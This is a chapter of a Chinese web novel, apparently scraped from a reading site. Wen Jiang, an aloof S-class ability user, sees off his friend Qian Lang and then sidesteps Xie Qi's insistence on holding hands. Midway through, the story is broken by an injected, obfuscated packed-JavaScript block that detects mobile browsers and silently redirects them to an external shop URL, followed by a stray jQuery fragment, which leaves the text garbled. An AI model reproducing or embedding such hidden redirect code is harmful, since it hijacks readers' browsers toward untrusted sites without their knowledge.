闻绛此人,相貌出众,成绩优异,异能资质突破了观测数值,开学便获得S级评估,加之脸上一贯表情不大,平日话也不多,远观其气质属于一款较为典型的校园男神。
S级异能者寥寥无几,学校鼓励他们平时互相交流,友好切磋,共同进步,开学第一天,闻绛就收到了一份校内超A级到S级学生的联系名单,还被强制要求互加好友。
但其实除了闻绛,其他几个超规格的异能者家庭都不一般,他们要么彼此早就熟识,要么也打过照面,听过名字,本来就是一个圈里的人,只有闻绛是个外来者,且闻绛的异能在分类上不属于战斗系,而是归入生活系,这让他在所谓的S圈里的位置有些尴尬。
想要进入青池就读,家境,异能,成绩至少要拥有一样。闻绛没有参加异能通道的特招,他在这所遍地关系户和有钱人的学校里是凭成绩考进来的,其不错的家境在普通人看来已迈入“上层”,在那帮富家子弟眼里又属于擦边的最低档,高不成低不就的两边不挨,和他的冷淡外形一搭配,外人看来便又归属于一类比较典型的易受排挤的内心孤独自闭人群。
结合上述几个方面,针对闻绛容易产生的经典妄想剧情包括而不限于其冷淡的性格源自他严厉的家庭,看似高冷实则背地里饱受欺负,冰山底下是一颗滚烫却无人理解的心,学校里看着光鲜其实一直被长期勒索巨款等等,突出走一个美强惨路线。
钱朗就对没了自己照应后闻绛在学校里的日子非常担忧,在上飞机前一边叹气一边揽住谢启的肩膀语重心长道:“唉,我不在的这段时间,小绛就拜托你了。”
谢启皱着眉任由他揽着,罕见地没把他的手拍开:“知道了。”
许是因为钱朗是真的要离开几年,谢启的态度也郑重了不少,闷不吭声了会儿又补了一句:“......你回来了也用不着你。”
这小子什么时候这么有觉悟了,往前推上五年都不见听话一次,钱朗大喜过望,当即表示:“行,闻绛以后就交给你。”
他锤了下谢启胸口,场面如同岳父要把女儿交给女婿,伤感道:“以后好好过日子哈,没什么问题我就走了。”
“我有一个问题。”在旁边默不作声看了半天的闻绛插嘴,一个问句被他硬生生改成陈述句:“为什么你们话里的我好像平常过得很可怜的样子。”
谢启飞速瞥了一眼闻绛,又像被烫到一样移开,脸稍微有些发红:“不是这个.....”
“就是这样,”钱朗果断大声认同,对闻绛破坏氛围的行为指指点点:“因为你就长着一张写有这种人设的脸,你不要损坏我给自己凹的侠肝义胆出国都不忘罩着小弟的形象!”
“......”自认家庭和睦生活顺风顺水的闻绛无声地用眼神询问:那你还记得你对你小弟的手机都做了什么吗?
钱朗忽略闻绛的谴责干咳一声,刚想扭头寻求谢启的认同,就看见对方黑了半张脸,语气间明晃晃的不耐:“没事儿了就赶紧走。”
......这人怎么态度说变就变,亏我刚才还以为你特别想我呢!
钱朗撇撇嘴,又嘱咐了几句记得想我,记得定期联系之类的话才一步三回头地上了飞机,坐上椅子后仍在复盘自己把好友一号托付给好友二号到底是不是个正确的主意。
毕竟同为S级能力者,谢启才叫真的能横着走的大爷,见谁都懒得给好脸色,论家世要拿捏闻绛家更是轻轻松松,钱朗自己家也不敢过分招惹谢家。
可钱朗再转念想,谢启也就是脾气烂又别扭,少爷毛病一大堆,被惹毛后下手就变得没轻没重.....算了,至少对方不会在这种事上撒谎,既然答应了自己,过去也看闻绛顺眼,那应该不会出什么问题。
至于新闹出来的手机乌龙,钱朗每每想起都分外尴尬,他考虑过告诉新上任的“闻绛监护人”谢启,又实在嫌丢人张不开嘴。反正木已成舟,闻绛旁观了一会儿钱朗的生无可恋,干脆答应了会在自己能接受的范围内尽量保密,不抖出对方这个幕后黑手,圆不下去再摊牌。
这事理论上的确不算严重。钱朗发出去的消息无外乎两种可能,一是如他当时以为的那样,充满爱情的甜蜜和热烈,二是他想说的只停留在他的脑子里,当时实际打出来的内容仅为只言片语,甚至颠三倒四,难以读懂。
而【绝对信任】的效力持续时间有多长,与外界条件密不可分,两种消息类型都和闻绛的外表看着就不搭,即使当下受异能影响信以为真,再细想想闻绛那张脸,过阵子也该察觉出不对劲来。
但坏消息是闻绛本人和他的外表也算不上搭,或者说有种错位感。
钱朗和闻绛真正开始相熟是开学后的第一个月,在那之前闻绛已凭S级的身份小有名气,但尚未到今天的程度,喜欢他的人眼里他是禁欲帅哥,讨厌他的人眼里他是装逼惯犯,钱朗姑且属于后者。
当时钱朗走进教室,几个班委正聚在一起讨论演话剧的事,本在埋头看书的闻绛抬起头来默默旁听,脸上依旧没什么表情,光透过窗户往他身上就跟明星打光似得那么一洒,那股微妙的装逼气息顿时就涌了出来。
青春期直男见不得这个,钱朗内心无端嗤了一声,像所有小说里爱恶意挑事的反派混混一样吊儿郎当开口:“大学霸也对话剧感兴趣啊?”
旁人听出这话里不讲道理的讽刺,彼此你看看我我看看你,最后由闻绛的同桌,作为语文课代表的林雯之打了个圆场:“钱朗你想让闻绛参演话剧啊?有眼光呀,我看闻绛就挺适合演王子的。”
话剧是他们班文艺汇演抽中的节目,但人选还没定下来,正在商讨是要采取个人举荐还是匿名投票的方式,林雯之的话让现场气氛回暖,闻绛则微微点了下头:“我也觉得。”
他这话瞬间又让气氛变怪,钱朗凉凉说了句“嚯,你牛”,另一位负责服装道具的女同学推了推自己的圆框眼镜,委婉开口:“闻绛确实看着很合适,但王子性格设定上比较阳光开朗,而且说话感情比较饱满,闻绛要是能多笑笑就好了。”
闻绛又点了点头:“我也觉得。”
.....你到底是在觉得什么啊?
钱朗在无声的质问里翻了个白眼:“那你现在笑一个让我们开开眼。”
“好。”闻绛酝酿了几秒,突然做出了一个极其灿烂的标准露齿笑,整个人眉眼舒展,眼里带光,从头到脚均洋溢着悦动的青春气息,看得正愁没正能量照片发布的宣传委员惊叹连连,大部分现场围观人群的表情瞬间凝固,闻绛的笑犹如昙花一现,很快他就收回来淡淡道:“怎么样?”
“.....很合适。”戴眼镜的女同学艰难开口,“太合适了。”
冰山系帅哥偶尔的温和浅笑可以惊为天人,笑得太过质朴热情就会变成惊悚故事,林雯之闭了闭眼喃喃自语:“这和我想象的走向不一样。”
钱朗受到的精神冲击最为严重,半响后满脸震惊地提高嗓音:“你原来会笑啊?!”
“我当然会。”众人心里的面瘫闻绛顶着一张面瘫脸反驳:“我又不是面瘫。”
钱朗现在一回忆起闻绛当时的样子就有点乐,这件小事让他对闻绛的印象莫名好了不少,之后座位又分到了对方后面,一来二去便越来越熟。他知道闻绛其实不好融进学校那个属于顶级异能者的圈子,干脆由自己出马连线,正式把闻绛介绍给谢启。
谢启这需要哄着供着的性格一般人都受不了,闻绛也不是个爱不停说话的,本来钱朗对他俩最好的估计是彼此混个脸熟,结果俩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022769|148736||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
人好像意外处得不错,谢启有时候还会问自己闻绛正在做什么。
他可真是个给朋友们牵线搭桥的小能手啊,钱朗在拉下眼罩睡觉前满意地自我肯定道。
钱朗心里的好友一号二号一前一后要出机场大厅,谢启在后面走得慢悠悠,忽然开口朝闻绛喊了一声:“哎,要不要牵手?”
“?”为什么要没事牵手?闻绛回头看了眼谢启,果断拒绝:“不了。”
谢启听完表情就整个垮掉,皱着眉两步走到闻绛旁边问:“你介意在外面?”
这是里面外面的问题吗?思及对方刚才和钱朗的朋友交接对话,闻绛也反问他:“你这是觉得,你现在要好好照顾我?”
谢启盯着闻绛顿了顿,突然揉了把自己的头发,脸别到别处小声说:“草,这话听着真肉麻。”
他转过头来就又是副无所谓的表情:“差不多吧。”
没想到谢启居然能这么听钱朗的话,就是这照顾也太细致了点,闻绛看谢启的眼神就像看一片全新的大陆,他决心响应对方的难得坚持,把话说得十分认真:“行。”
沉默在他俩之间流淌了大约十几秒,谢启的表情渐渐由迷茫转为呆愣再转为不可置信,扬声开口:“就这?”
“那我要说什么?”闻绛疑惑道,想想又补了两句:“牵手也行,时间最好别太长。”
自己毕竟不是三四岁的孩子,他可以一定程度配合谢启,但太麻烦还是算了,可谢启却似乎对这个回答相当不满,咬字重复:“也行?别太长?”
闻绛看出来谢启并不满意自己的答案,偏下头提议道:“或者干脆别牵?”
钱朗不清楚闻绛和谢启是怎么单独相处的,和他以为的谢启日常犯太子爷脾气,闻绛再凭其人际交往上的粗神经和时好时不好的情商做到“毫不介意”和“意外安抚”不同,闻绛很少完全顺从谢启,甚至可以说,如果让闻绛把自己眼里的谢启形象写出来给钱朗看,钱朗一定会瞪圆眼睛发问:“你说这人是谁?”
谢启本质人不坏,闻绛不讨厌对方,不过他们起争执的方式可能是和别人不太一样,闻绛举起自己的右手,简单明确自己的立场:“就这两个选项,不行就算了,五,四,三.....”
闻绛的“二”还没说完,谢启就冲过去一把牢牢抓住了他的手,嘴里不满地嚷嚷:“你不能老这样!”
“不能牵太久,我行动起来会很麻烦。”闻绛重复道,看着谢启的脸色又强调:“我不是生气,但不可以一直牵着。”
谢启习惯被顺着来,闹别扭也不太能拉下脸主动道歉,可惜闻绛并不具备体谅他的包容纤细,或者叫狗腿子精神,这是一个让过去的谢启气得牙痒痒又没办法的事实,闻绛真的一点儿也不怕他。
但谢启越想越觉得他这回没错,他以前确实有不对的地方也就算了,现在他们的关系明明已经不是普通朋友,为什么连牵手都不行?又没什么不能见人的!
谢启不服气地抱怨:“没见过你这么矫情的......”
这话听得闻绛内心大受震撼,一路上回忆了过去十几年接受的常识经验,怎么想怎么确信一位成年男子拒绝另一位成年男子一直牵手要求的行为不该被叫做矫情,他让谢启一直牵他牵到出了机场,直到能看见谢启家那辆意味着他们该各回各家的豪车,便松手要和对方分开。
闻绛抽手抽了一下没有抽动,谢启仍紧紧握着他,整个人闷不吭声,沉默的态度尽显其倔强立场。
“......”这是轴劲又上来了,闻绛没什么温度地看向对方:“谢启。”
谢启因为闻绛眼神里的示意稍微绷直了背,他似乎想反过来对闻绛发火,却又在下一秒放弃似地骤然松懈,不怎么情愿地放开了闻绛的手。